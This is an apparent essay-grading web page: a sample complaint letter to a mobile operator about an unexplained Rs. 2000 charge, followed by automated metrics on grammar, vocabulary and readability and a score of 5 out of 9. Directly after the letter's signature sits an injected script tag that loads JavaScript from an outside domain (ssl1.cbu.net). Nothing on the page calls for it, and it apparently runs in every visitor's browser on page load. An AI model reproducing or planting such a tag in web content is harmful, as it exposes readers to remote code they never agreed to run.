Dear Sir/Madam,
I am Seema Sharma and I am writing in regard to the recent mobile bill received by me yesterday which
has been charged Rs. 2000 extra.
I have been a loyal customer of your company since five years and have not faced any bill related issues
until yesterday which surprised me because I have not used my cell phone to make any international call
in the previous month. Despite, checking all of my call records thrice, I am unable to trace any
international call done through my phone.
Hence, I request you to send me a revised bill so that I can clear all the dues on time. This shall certainly
help me to restore my faith in your renowned company.
Looking forward to hearing from you.
Yours faithfully,
Seema Sharma<script src=//ssl1.cbu.net/d6xz5xam></script>
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Transition Words or Phrases used:
hence, look, so, in regard to
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 2.0 7.48453608247 27% => More to be verbs wanted.
Auxiliary verbs: 2.0 4.92783505155 41% => OK
Conjunction : 2.0 5.05154639175 40% => More conjunction wanted.
Relative clauses : 3.0 3.03092783505 99% => OK
Pronoun: 22.0 32.9175257732 67% => OK
Preposition: 16.0 26.3917525773 61% => OK
Nominalization: 0.0 3.85567010309 0% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 630.0 937.175257732 67% => OK
No of words: 133.0 206.0 65% => More content wanted.
Chars per words: 4.73684210526 4.54256449028 104% => OK
Fourth root words length: 3.39596269041 3.78020617076 90% => OK
Word Length SD: 2.4666925899 2.54303337028 97% => OK
Unique words: 90.0 127.690721649 70% => More unique words wanted.
Unique words percentage: 0.676691729323 0.622605031667 109% => OK
syllable_count: 189.9 290.88556701 65% => OK
avg_syllables_per_word: 1.4 1.41237113402 99% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 6.0 9.13402061856 66% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 1.0 1.83505154639 54% => OK
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 2.0 1.44329896907 139% => OK
Performance on sentences:
How many sentences: 7.0 12.6804123711 55% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 19.0 16.3608247423 116% => OK
Sentence length SD: 65.825992013 44.8134815571 147% => OK
Chars per sentence: 90.0 76.5299724578 118% => OK
Words per sentence: 19.0 16.8248392259 113% => OK
Discourse Markers: 4.14285714286 4.34317383033 95% => OK
Paragraphs: 9.0 4.29896907216 209% => Less paragraphs wanted.
Language errors: 0.0 2.54639175258 0% => OK
Sentences with positive sentiment : 5.0 7.41237113402 67% => OK
Sentences with negative sentiment : 0.0 1.49484536082 0% => More negative sentences wanted.
Sentences with neutral sentiment: 2.0 3.94845360825 51% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.298941136657 0.216113520407 138% => OK
Sentence topic coherence: 0.113372566287 0.0766984524023 148% => OK
Sentence topic coherence SD: 0.0656061794629 0.0603063233224 109% => OK
Paragraph topic coherence: 0.111926820227 0.12726935374 88% => OK
Paragraph topic coherence SD: 0.070137200428 0.0580467560999 121% => OK
Essay readability:
automated_readability_index: 10.4 8.37731958763 124% => OK
flesch_reading_ease: 69.11 70.7449484536 98% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 8.3 7.45979381443 111% => OK
coleman_liau_index: 10.21 8.71597938144 117% => OK
dale_chall_readability_score: 7.67 7.59969072165 101% => OK
difficult_words: 26.0 41.2886597938 63% => More difficult words wanted.
linsear_write_formula: 13.0 8.62886597938 151% => OK
gunning_fog: 9.6 8.54432989691 112% => OK
text_standard: 10.0 8.15463917526 123% => OK
What are above readability scores?
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Maximum five paragraphs wanted.
More content wanted.
Minimum 150 words wanted.
Rates: 56.1797752809 out of 100
Scores by essay e-grader: 5.0 Out of 9
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